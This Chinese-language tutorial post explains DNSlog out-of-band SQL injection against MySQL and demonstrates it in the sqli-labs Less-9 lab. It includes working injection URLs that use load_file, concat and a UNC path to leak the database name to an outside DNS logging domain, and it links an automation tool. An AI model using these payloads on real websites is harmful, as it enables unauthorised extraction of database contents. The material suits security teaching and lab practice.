SQL注入(9):DNSlog注入
DNSlog注入
DNSlog注入实际上是属于盲注的一种,但是比盲注效率高一点。
在一定的情况下,如果我们想对一个网站使用布尔或时间盲注,手动注入会对WAF的绕过会非常有帮助,但是效率不高,因此我们往往会使用SQLmap等工具注入,但是这种工具对很多网站都有限制。这时候就该尝试DNSlog注入。
这种注入方式,相较于布尔或时间盲注而言,好处在于可以一组一组进行测试,不用再一个一个字符进行逐以测试,比其他两个盲注效率要高,但是要求服务器的读写权限都要对MySQL开启,如果没有开启的话,是不能使用这种注入方式的。
关键函数
-
load_file("[路径]")
:用于读取某个文件1
select load_file("C:\\test.txt");
可以读取出文件,并且获取到一共多少个字节。
除了可以读取本机路径以外还可以读取到网络上的路径,即可以使用UNC路径。
-
UNC路径
格式:
\servername\sharename
,其中- servername是服务器名,可以是域名或者是IP地址
- sharename是共享资源的名称
利用UNC路径能解析网络路径的特性
利用方式
而这里我们常常用到的DNSlog服务网站为
-
使用方法:打开后,选择
get subdomain
获取一个dns服务器,接着我们尝试在浏览器打开随机一段字符串+获取到的dns服务器,例如text.d3158r.dnslog.cn
,点击Refresh Record,即可获取到解析记录
简而言之,注入过程就是让目标数据库去解析域名,然后在解析域名之前,执行一段查询语句,并加入到解析域名中,DNS记录下的解析记录即为查询结果。
实例
由于dnslog.cn时不时无法访问,这里使用dig.pm
我们还是继续用到Less-9。先判断出闭合方式为'
,具体判断流程不再赘述。由于load_file函数中,参数是被双引号闭合起来的,因此我们需要用到concat来拼接字符串,不能直接在load_file中使用,以下是一个错误示范:
1 | http://10.0.0.181/sqli/less-9/?id=1' and (select load_file(//(select database()).f899e19f.ipv6.1433.eu.org/text.txt))) --+ |
正确的注入语句构造方式应该是将//
、查询的内容、和后面dns服务器的部分拼接起来,这样才能让查询的内容执行完,再放入load_file中执行
1 | http://10.0.0.181/sqli/less-9/?id=1' and (select load_file(concat("//",(select database()),".f899e19f.ipv6.1433.eu.org/text.txt"))) --+ |
然后在dig.pm中获取解析记录
发现已经有了结果。然后更具体的注入获取流程,请参考前面的笔记的过程,不再作出赘述。
自动化注入利用
DnslogSqlinj:https://github.com/ADOOO/DnslogSqlinj
首先需要安装依赖
1 | pip2 install gevent==1.2.2 |
然后我们需要修改配置文件,在ceye.io获取APItoken和DNSurl后,修改config.py中的APItoken和DNSurl。接着我们根据github上的提示即可自动化DNSlog注入
1 | Usage: dnslogSql.py [options] -u http://10.1.1.9/sqli-labs/Less-9/?id=1' and ({})--+ |
(ceye.io不清楚为什么进不去,能进去之后再进一步展示使用方法)